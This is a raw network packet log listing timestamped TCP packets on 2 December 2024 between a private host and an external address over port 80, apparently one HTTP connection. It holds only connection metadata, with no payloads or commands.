Dec 2, 2024 11:21:11.152226925 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.152272940 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.152393103 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.152431011 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.152507067 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.152601004 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.152633905 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.152651072 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.152739048 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.152748108 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.152859926 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.152898073 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.152929068 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.152973890 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.153001070 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.153079033 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.153131008 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.153136969 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.153228045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.153278112 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.153284073 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.153395891 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.153395891 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.153611898 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.153659105 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.153702974 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.153749943 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.153749943 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.153837919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.153858900 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.153887033 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.153992891 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.154141903 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154187918 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154232979 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154280901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154289007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.154289007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.154351950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154378891 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.154413939 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154429913 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.154473066 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154516935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154547930 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154561043 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.154612064 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.154612064 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.154856920 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154903889 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154934883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154978037 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.154999018 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.154999018 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.155080080 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155129910 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155134916 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.155214071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.155214071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.155257940 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155291080 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155334949 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155378103 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155410051 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155415058 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.155580997 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.155638933 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155684948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155714035 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155757904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155770063 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.155821085 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.155877113 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155888081 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.155921936 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.155966043 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156030893 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.156101942 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156136036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156141043 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.156193018 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156235933 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156265974 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156290054 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.156327009 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156338930 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.156338930 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.156471014 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.156661987 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156693935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156737089 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156780005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156810999 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156824112 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.156873941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156918049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156948090 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.156955957 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.157007933 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157017946 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.157017946 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.157075882 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157107115 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157154083 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157159090 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.157211065 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157265902 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.157303095 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157311916 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.157362938 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157382011 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.157480001 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157514095 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157520056 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.157629967 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.157660961 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157706976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157737017 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157779932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157798052 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.157841921 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.157851934 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.157931089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.157990932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.158035040 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.158092976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.158137083 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.158180952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.158224106 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.158269882 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.158278942 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.158330917 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.158356905 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.158405066 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.158487082 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.158597946 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.158642054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.158694029 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.158740997 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.158746958 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.158782005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.158814907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.158838034 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.158885956 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.158967018 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.158977032 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.159111023 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.161736012 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.161942959 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.161957026 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.162096977 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.162134886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.162144899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.162200928 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.162266970 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.162350893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.162420988 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.162497044 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.162503004 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.162600040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.162635088 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.162641048 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.162694931 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.162741899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.162818909 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.162842035 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.162883043 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.162960052 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.162986994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163019896 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163063049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163070917 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.163167000 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.163214922 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.163328886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163362026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163405895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163448095 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163480043 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163489103 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.163541079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163548946 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.163599968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163630009 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163647890 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.163712978 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.163749933 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163795948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163816929 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.163842916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.163911104 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.163911104 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.163990974 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164105892 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164138079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164155960 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.164201021 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164248943 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164254904 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.164292097 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164335966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164381027 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.164483070 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.164643049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164674997 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164716959 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164761066 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164792061 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164834023 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164870977 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.164896011 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164927959 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.164969921 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165003061 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.165030956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165060043 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165102959 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165148973 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.165385008 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165438890 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165488958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165498972 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.165626049 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.165674925 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165721893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165766001 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165800095 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165805101 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.165857077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165900946 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165925026 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.165946007 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.165991068 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166042089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.166101933 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166136980 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166141033 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.166192055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166266918 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.166383028 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.166409969 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166456938 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166542053 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166560888 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.166608095 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.166662931 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166692972 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166719913 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.166795969 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166832924 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.166857958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166887999 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166930914 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.166939020 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.166991949 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167001963 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.167037964 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167082071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167093039 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.167146921 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.167249918 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.167316914 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167347908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167392015 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167435884 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167467117 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167509079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167536020 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.167615891 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167622089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.167663097 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167717934 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.167769909 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167782068 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.167830944 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167876005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167905092 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.167915106 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.167967081 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.168081045 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.168139935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168185949 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168215990 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168260098 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168276072 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.168324947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168329954 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.168366909 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168394089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.168472052 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168498039 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.168615103 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.168661118 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168692112 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168735981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168780088 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168813944 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168818951 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.168869972 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.168876886 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.168970108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169003963 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169034004 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.169065952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169110060 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169121027 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.169157028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169213057 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.169260025 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.169311047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169356108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169384956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169516087 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.169553995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169600010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169631004 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169682026 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.169682980 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.169744968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169791937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169821978 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.169866085 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.170006037 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.170146942 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.170197010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.170272112 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.170326948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.170361996 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.170370102 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.170408010 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.170442104 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.170485973 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.170520067 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.170525074 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.170577049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.170655966 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.170790911 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.467819929 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.467917919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.467952967 CET	80	49753	31.41.244.11	192.168.11.20
